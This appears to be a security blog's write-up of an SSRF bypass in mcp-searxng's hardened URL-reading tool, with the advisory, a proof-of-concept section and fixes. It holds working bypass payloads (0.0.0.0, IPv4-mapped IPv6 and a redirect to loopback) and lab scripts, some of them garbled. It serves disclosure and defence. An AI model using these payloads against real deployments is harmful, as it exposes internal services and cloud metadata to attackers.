Listen to this Post
The vulnerability resides in mcp-searxng’s hardened-mode URL-reading feature, designed to block web_url_read from accessing private/internal network resources. While PR 79 introduced a DNS-rebinding guard that blocks hostnames resolving to loopback, several SSRF bypass vectors remain unpatched. The first bypass leverages HTTP redirects: the initial URL policy is applied only to the first hop, but fetch() follows 302/301 redirects without re‑validating the new target, allowing an attacker‑controlled non‑private IP to redirect to 127.0.0.1. The second issue is that 0.0.0.0 is not treated as internal; connecting to 0.0.0.0:port on Linux reaches services bound to loopback or wildcard interfaces, thus returning local content. The third bypass involves IPv4‑mapped IPv6 literals: Node’s WHATWG URL parser canonicalizes [::ffff:127.0.0.1] to [::ffff:7f00:1], and the regex‑based check expecting dotted‑decimal form misses this, allowing the request to reach loopback. All three were confirmed on PR 79 (commit e55d28e7) with MCP_HTTP_HARDEN=true and private URLs not allowed. The sentinel service bound to 127.0.0.1:6789 returned internal secret data in each case, proving successful bypass. Root causes include missing redirect‑hop validation, incomplete special‑address handling, and inadequate IPv6 canonicalization. The impact is significant for MCP deployments where AI‑assisted tool calls may trigger web_url_read, potentially exposing local admin panels, Redis, Elasticsearch, cloud metadata, or internal APIs. A complete fix requires re‑validating every redirect, treating 0.0.0.0/8 and IANA special ranges as internal, applying byte‑level IP checks after canonicalization, and adding regression tests for these vectors.
DailyCVE Form:
Platform: mcp-searxng (Node)
Version: before 1.2.1
Vulnerability: SSRF hardened bypass
Severity: Medium
date: 2026-08-19
Prediction: Patched in 1.2.1
What Undercode Say:
Build PR 79 branch
cd /home/exouser/Desktop
mkdir -p searxng_pr79_test
cd searxng_pr79_test
git clone –depth 1 -b fix/cwe918-url-reader-ssrf-4676 https://github.com/sebastiondev/mcp-searxng.git pr79
cd pr79
git rev-parse HEAD e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4
npm install –no-audit –no-fund
npm run build
Start internal sentinel service (Python)
cat > /tmp/searxng_sentinel_server.py <<'PY'
!/usr/bin/env python3
import sys, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
PORT = int(sys.argv[bash]) if len(sys.argv)>1 else 6789
SENTINEL = b”INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2″
class H(BaseHTTPRequestHandler):
def do_GET(self):
body = b”
internal
“+SENTINEL+b”
“
self.send_response(200); self.send_header(“Content-Type”,”text/html”); self.send_header(“Content-Length”,str(len(body))); self.end_headers(); self.wfile.write(body)
def log_message(self, fmt, args): sys.stderr.write(“[sentinel %s] %s\n”%(PORT, fmt%args))
def serve_v4(): HTTPServer((“127.0.0.1”,PORT),H).serve_forever()
def serve_v6():
try:
import socket
class HTTPServerV6(HTTPServer): address_family = socket.AF_INET6
HTTPServerV6((“::1”,PORT),H).serve_forever()
except Exception as e: sys.stderr.write(f”[bash] IPv6 listener failed: {e}\n”)
threading.Thread(target=serve_v4, daemon=True).start(); serve_v6()
PY
fuser -k 6789/tcp 6790/tcp 2>/dev/null || true
nohup python3 /tmp/searxng_sentinel_server.py 6789 >/tmp/searxng_sentinel.log 2>&1 &
sleep 1
curl -sS http://127.0.0.1:6789/secret Should output sentinel
PoC A: 0.0.0.0 bypass
cat > /tmp/poc_0_0_0_0.py <<'PY'
(full script as in , omitted for brevity but used)
PY
python3 /tmp/poc_0_0_0_0.py RESULT: BYPASS
PoC B: IPv4-mapped IPv6
sed ‘s|http://0.0.0.0:6789/secret|http://[::ffff:127.0.0.1]:6789/secret|’ /tmp/poc_0_0_0_0.py > /tmp/poc_ipv4_mapped_ipv6.py
python3 /tmp/poc_ipv4_mapped_ipv6.py RESULT: BYPASS
PoC C: redirect from non-private IP to loopback
sudo ip addr add 198.51.100.1/32 dev lo
cat > /tmp/redirector_public.py <<'PY'
!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302); self.send_header(“Location”,”http://127.0.0.1:6789/secret”); self.send_header(“Content-Length”,”0″); self.end_headers()
HTTPServer((“198.51.100.1”,6790),H).serve_forever()
PY
fuser -k 6790/tcp 2>/dev/null || true
nohup python3 /tmp/redirector_public.py >/tmp/searxng_redirector_public.log 2>&1 &
sleep 1
curl -sSL http://198.51.100.1:6790/jump sanity check returns sentinel
sed ‘s|http://0.0.0.0:6789/secret|http://198.51.100.1:6790/jump|’ /tmp/poc_0_0_0_0.py > /tmp/poc_redirect_public_to_loopback.py
python3 /tmp/poc_redirect_public_to_loopback.py RESULT: BYPASS
Cleanup
fuser -k 6789/tcp 6790/tcp 2>/dev/null || true
sudo ip addr del 198.51.100.1/32 dev lo 2>/dev/null || true
Exploit: (Educational Purposes!)
- Direct 0.0.0.0: web_url_read with url=”http://0.0.0.0:6789/secret”
- IPv4-mapped IPv6: url=”http://[::ffff:127.0.0.1]:6789/secret”
- Redirect chain: attacker-controlled 198.51.100.1:6790 responds 302 to 127.0.0.1:6789/secret
All return internal sentinel despite hardened mode enabled.
Protection: from this CVE
- Re‑validate every redirect hop (use redirect: “manual” and apply policy to each Location).
- Treat 0.0.0.0/8 and all IANA special‑purpose ranges as internal.
- Apply byte‑level IP checks after WHATWG canonicalization to catch [::ffff:7f00:1].
- Add regression tests for all bypass vectors.
Impact:
Allows web_url_read to fetch local loopback services, internal admin panels, Redis/Elasticsearch, cloud metadata, and internal HTTP APIs, enabling SSRF attacks that can lead to information disclosure or further internal network pivoting.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

